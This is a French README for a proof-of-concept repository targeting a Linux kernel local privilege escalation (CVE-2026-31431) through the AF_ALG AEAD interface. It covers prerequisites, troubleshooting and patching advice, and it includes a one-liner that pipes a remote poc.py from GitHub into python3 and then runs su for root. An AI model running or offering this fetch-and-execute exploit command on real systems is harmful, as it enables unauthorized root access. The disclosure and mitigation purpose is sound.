
# Preuve de concept éducative démontrant l'élévation locale de privilèges du noyau Linux via AF_ALG algif_aead (CVE-2026-31431). Comprend des instructions d'utilisation et des recommandations d'atténuation pour la recherche défensive.
Preuve de concept pédagogique pour CVE-2026-31431, également connue sous le nom de Copy Fail, une vulnérabilité d'élévation de privilèges locale du noyau Linux impliquant l'interface cryptographique AF_ALG / algif_aead.
[!WARNING] Ce dépôt est fourni strictement à des fins pédagogiques, défensives et de recherche en sécurité autorisée uniquement.
N'exécutez pas ce code sur des systèmes qui ne vous appartiennent pas ou sur des systèmes pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.
Toute utilisation non autorisée peut être illégale.
CVE-2026-31431 est une vulnérabilité d'élévation de privilèges locale du noyau Linux affectant le sous-système cryptographique du noyau.
La vulnérabilité implique le chemin AEAD exposé via l'interface AF_ALG et peut permettre à un utilisateur local non privilégié d'interférer avec les données du cache de pages associées aux fichiers lisibles, ce qui peut potentiellement conduire à une élévation de privilèges sur les systèmes vulnérables.
Ce dépôt contient une preuve de concept pédagogique minimale destinée aux environnements de laboratoire contrôlés.
Le système cible doit exposer l'algorithme AEAD AF_ALG requis.
Vous pouvez vérifier cela avec :
grep -i "authencesn\|authenc" /proc/crypto
La preuve de concept attend la prise en charge d'un algorithme similaire à :
authencesn(hmac(sha256),cbc(aes))
Si l'algorithme n'est pas disponible, la preuve de concept peut échouer avec une erreur telle que :
FileNotFoundError: [Errno 2] No such file or directory
Cela signifie que l'algorithme cryptographique du noyau requis n'est pas disponible sur le système.
Clonez le dépôt :
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
Exécutez la preuve de concept :
python3 poc.py
Ou exécutez-la directement :
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
Certains systèmes Linux utilisent /bin/su au lieu de /usr/bin/su. Vous pouvez vérifier le chemin correct avec :
which su
Si nécessaire, ajustez le chemin cible dans poc.py.
Si vous obtenez FileNotFoundError: [Errno 2] No such file or directory lors de la liaison à authencesn(hmac(sha256),cbc(aes)), alors l'algorithme du noyau requis est indisponible.
Vérifiez les algorithmes cryptographiques disponibles :
cat /proc/crypto
ou plus spécifiquement :
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
Si la preuve de concept référence /usr/bin/su mais que votre système utilise /bin/su, vérifiez avec :
which su
Puis mettez à jour le chemin dans poc.py en conséquence.
Les défenseurs doivent mettre à jour vers une version du noyau Linux corrigée fournie par leur éditeur de distribution.
Après la mise à jour du noyau, redémarrez le système pour garantir que le noyau corrigé est actif.
Les atténuations temporaires peuvent inclure la restriction de l'accès aux fonctionnalités cryptographiques du noyau concernées selon l'environnement et la distribution.
Ce projet est destiné uniquement à :
L'auteur n'est pas responsable de l'utilisation abusive, des dommages ou des activités illégales causés par ce code.
Utilisez uniquement sur des systèmes pour lesquels vous disposez d'une autorisation explicite.
Ce projet est sous licence MIT License.